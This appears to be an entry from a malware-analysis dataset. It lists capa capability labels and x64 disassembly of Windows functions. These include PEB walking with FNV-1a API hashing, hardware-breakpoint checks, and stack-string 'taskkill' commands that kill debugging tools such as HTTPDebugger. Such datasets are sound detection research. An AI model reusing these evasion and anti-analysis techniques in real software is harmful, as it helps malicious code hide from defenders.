joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001220
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x50
mov dword [rbp - 0x2a], 0x6c6c64
mov dword [rbp - 0x30], 0x6c64746e
mov word [rbp - 0x2c], 0x2e6c
mov byte [rbp - 0x26], 0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop word [rax + rax]
mov r9, qword [r11 + 0x30]
xor r15d, r15d
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1400012e8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1400012e8
mov edi, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [rdi + r8*4]
mov eax, dword [rax + r9]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x1400012e3
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x1400012c0
cmp edx, 0x53b2070f
je 0x1400013eb
test r8d, r8d
jne 0x1400012a0
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x1400012fd
cmp qword [rax + 0x30], r15
jne 0x140001270
mov rax, r15
lea rcx, [rbp - 0x30]
call rax
mov r14, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x14000143d
movdqa xmm0, xmmword [0x140009e20]
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0xa], 0x737365
mov dword [rbp - 0x10], 0x72506e6f
mov word [rbp - 0xc], 0x636f
mov byte [rbp - 6], r15b
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rbx, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x1400013d4
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x1400013d4
mov edi, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1400013cf
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1400013b0
cmp edx, 0xf8f45725
je 0x140001407
test r8d, r8d
jne 0x140001390
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rsi
je 0x140001421
cmp qword [rax + 0x30], r15
jne 0x140001360
jmp 0x140001421
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x140001300
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov r15d, dword [rcx + rdx*4]
add r15, r9
lea rdx, [rbp - 0x20]
mov rcx, r14
call r15
test rax, rax
je 0x14000143d
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov eax, 1
jmp 0x14000143f
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
mov rdi, qword [rsp + 0x80]
add rsp, 0x50
pop r15
pop r14
pop rbp
ret
Function at 0x140001460
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x30
mov rax, qword [0x14000d040]
xor rax, rsp
mov qword [rsp + 0x28], rax
xor r14d, r14d
mov dword [rsp + 0x20], r14d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop dword [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140001528
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140001528
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [rdi + r8*4]
mov eax, dword [rax + r9]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x140001523
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x140001500
cmp edx, 0x6dd8a845
je 0x1400015eb
test r8d, r8d
jne 0x1400014e0
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x14000153d
cmp qword [rax + 0x30], r14
jne 0x1400014b0
mov rbp, r14
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop word [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1400015d4
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1400015d4
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1400015cf
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1400015b0
cmp edx, 0x4cfe97c1
je 0x140001607
test r8d, r8d
jne 0x140001590
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x14000161f
cmp qword [rax + 0x30], r14
jne 0x140001560
jmp 0x14000161f
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov ebp, dword [rcx + rdx*4]
add rbp, r9
jmp 0x140001540
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r14d, dword [rcx + rdx*4]
add r14, r9
call rbp
mov rcx, rax
lea rdx, [rsp + 0x20]
call r14
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1400070d0
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
Function at 0x140001660
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x500
mov rax, qword [0x14000d040]
xor rax, rsp
mov qword [rsp + 0x4f0], rax
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x4d0
call sub.VCRUNTIME140.dll_memset
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140001738
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140001738
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [rdi + r8*4]
mov eax, dword [rax + r9]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x140001733
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x140001710
cmp edx, 0x9bc5a608
je 0x14000185e
test r8d, r8d
jne 0x1400016f0
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x14000174e
cmp qword [rax + 0x30], 0
jne 0x1400016c0
xor eax, eax
call rax
mov dword [rsp + 0x50], 0x100010
mov rbp, rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rbx, rsi
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x1400017f8
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x1400017f8
mov edi, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1400017f3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1400017d0
cmp edx, 0x85cca27e
je 0x14000187a
test r8d, r8d
jne 0x1400017b0
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rsi
je 0x14000180e
cmp qword [rax + 0x30], 0
jne 0x140001780
xor eax, eax
lea rdx, [rsp + 0x20]
mov rcx, rbp
call rax
test eax, eax
je 0x140001898
cmp qword [rsp + 0x68], 0
jne 0x140001857
cmp qword [rsp + 0x70], 0
jne 0x140001857
cmp qword [rsp + 0x78], 0
jne 0x140001857
cmp qword [rsp + 0x80], 0
jne 0x140001857
cmp qword [rsp + 0x88], 0
jne 0x140001857
cmp qword [rsp + 0x90], 0
je 0x140001898
mov eax, 1
jmp 0x14000189a
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x140001750
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x140001810
xor eax, eax
mov rcx, qword [rsp + 0x4f0]
xor rcx, rsp
call fcn.1400070d0
lea r11, [rsp + 0x500]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140005280
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x1400052e1
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x1400052a0
mov ecx, dword [r9]
jmp 0x1400053cb
cmp ecx, 0x4e0
jb 0x1400053cb
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140005300
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140005350
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x140005410
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
movdqa xmm0, xmmword [str.taskkill__f__im_ggerPro__nul_2_HTTPDebuggerSvc.]
lea rcx, [rbp - 0x50]
movdqa xmm1, xmmword [0x140009e10]
movdqu xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x25], 0x31
movdqu xmmword [rbp - 0x40], xmm1
mov dword [rbp - 0x30], 0x3e206578
mov dword [rbp - 0x2c], 0x206c756e
mov word [rbp - 0x28], 0x3e32
mov byte [rbp - 0x26], 0x26
mov byte [rbp - 0x23], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [str.taskkill__f__im_ggerPro__nul_2_HTTPDebuggerSvc.]
lea rcx, [rbp - 0x50]
movdqa xmm1, xmmword [0x140009df0]
movdqu xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x26], 0x31263e
movdqu xmmword [rbp - 0x40], xmm1
mov dword [rbp - 0x30], 0x20657865
mov dword [rbp - 0x2c], 0x6c756e3e
mov word [rbp - 0x28], 0x3220
mov byte [rbp - 0x22], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140009e30]
lea rcx, [rbp - 0x50]
movdqa xmm1, xmmword [0x140009de0]
movdqu xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x30], 0x31
movdqu xmmword [rbp - 0x40], xmm1
mov byte [rbp - 0x2e], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140009e60]
lea rcx, [rbp - 0x50]
movdqa xmm1, xmmword [0x140009e70]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm0, xmmword [0x140009e90]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmmword [rbp - 0x40], xmm1
mov dword [rbp - 0x20], 0xaad2dcbd
mov dword [rbp - 0x1c], 0x776f3edf
mov dword [rbp - 0x18], 0x3837246f
mov dword [rbp - 0x14], 0x1003921
call fcn.1400057f0
lea rcx, [rbp - 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140009e60]
lea rcx, [rbp - 0x50]
movdqa xmm1, xmmword [0x140009e40]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm0, xmmword [0x140009ea0]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm1, xmmword [0x140009dc0]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmmword [rbp - 0x20], xmm1
mov byte [rbp - 0x10], 1
call fcn.1400056e0
lea rcx, [rbp - 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140009e60]
lea rcx, [rbp - 0x50]
movdqa xmm1, xmmword [0x140009e50]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm0, xmmword [0x140009e80]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm1, xmmword [0x140009e00]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmmword [rbp - 0x20], xmm1
mov word [rbp - 0x10], 0x100
call fcn.1400055d0
lea rcx, [rbp - 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rsp, 0x70
pop rbp
ret
Function at 0x140006ad0
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x60
mov r9, r8
mov r15, rdx
mov rbp, rcx
mov qword [rsp + 0x58], rcx
xor r12d, r12d
cmp byte [r8 + 0x1a], r12b
je 0x140006bd5
movdqa xmm2, xmmword [0x140009d80]
movd xmm1, dword [r8]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [r8], xmm1
movdqa xmm2, xmmword [0x140009d90]
movd xmm1, dword [r8 + 4]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [r8 + 4], xmm1
movdqa xmm2, xmmword [0x140009da0]
movd xmm1, dword [r8 + 8]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [r8 + 8], xmm1
movdqa xmm2, xmmword [0x140009db0]
movd xmm1, dword [r8 + 0xc]
xorps xmm0, xmm0
punpcklwd xmm1, xmm0
punpckldq xmm1, xmm0
xorps xmm2, xmm1
pshufd xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
movd dword [r8 + 0xc], xmm1
mov eax, 8
mov edx, 0x2f10
nop dword [rax]
nop word [rax + rax]
lea ecx, [rdx + rax]
xor word [r8 + rax*2], cx
inc rax
cmp rax, 0xc
jb 0x140006bc0
mov byte [r8 + 0x1a], r12b
add r8, 0x18
mov rdx, r9
lea rcx, [rsp + 0x30]
call fcn.140006d40
nop
mov r14, r15
cmp qword [r15 + 0x18], 7
jbe 0x140006bf4
mov r14, qword [r15]
mov r15, qword [r15 + 0x10]
mov r8, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
sub rax, r8
cmp r15, rax
ja 0x140006c9a
lea rax, [r15 + r8]
mov qword [rsp + 0x40], rax
lea rdi, [rsp + 0x30]
cmp rcx, 7
cmova rdi, qword [rsp + 0x30]
lea rax, [r14 + r15*2]
cmp rax, rdi
jbe 0x140006c50
lea rax, [rdi + r8*2]
cmp r14, rax
ja 0x140006c50
cmp rdi, r14
ja 0x140006c45
mov rsi, r12
jmp 0x140006c53
mov rsi, rdi
sub rsi, r14
sar rsi, 1
jmp 0x140006c53
mov rsi, r15
lea rcx, [rdi + r15*2]
lea r8, [r8*2 + 2]
mov rdx, rdi
call sub.VCRUNTIME140.dll_memmove
lea rbx, [rsi + rsi]
mov r8, rbx
mov rdx, r14
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
mov r8, r15
sub r8, rsi
add r8, r8
lea rax, [rsi + r15]
lea rdx, [r14 + rax*2]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x30]
jmp 0x140006cb1
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r14
mov rdx, r15
lea rcx, [rsp + 0x30]
call fcn.140006e90
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 7
mov word [rax], r12w
mov rdx, qword [rsp + 0x48]
cmp rdx, 7
jbe 0x140006d24
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006d1f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006d1f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400071fc
mov rax, rbp
add rsp, 0x60
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140007b20
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140007b6a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140007b6a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140007b6a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140007b6a
cmp dword [rcx + 0x84], 0xe
jbe 0x140007b6a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140007b6c
xor al, al
add rsp, 0x28
ret
Function at 0x14001b010
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x14001b038
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14001b05e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x14001b060
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x14001b0b9
test ecx, ecx
jle 0x14001b099
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x14001b0b9
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14001b0b9
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x14001b0e0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x14001b102
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x14001b118
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14001b134
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14001b136
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14001b172
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14001b20e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x14001b1ad
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14001b1ee
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14001b20e
cmp rbx, rax
ja 0x14001b1c0
test rbx, rbx
je 0x14001b20e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x14001b670
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140125040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14001b69d
xor eax, eax
jmp 0x14001b809
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x14001b6d7
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x14001b6d7
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x14001b809
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14001b7fc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14001b71a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x14001b745
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14001b801
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14001b7b4
sub eax, 1
je 0x14001b7b4
cmp eax, 2
jne 0x14001b7fc
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14001b801
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x14001b7e2
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14001b7fc
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x14001b801
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400e1180
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret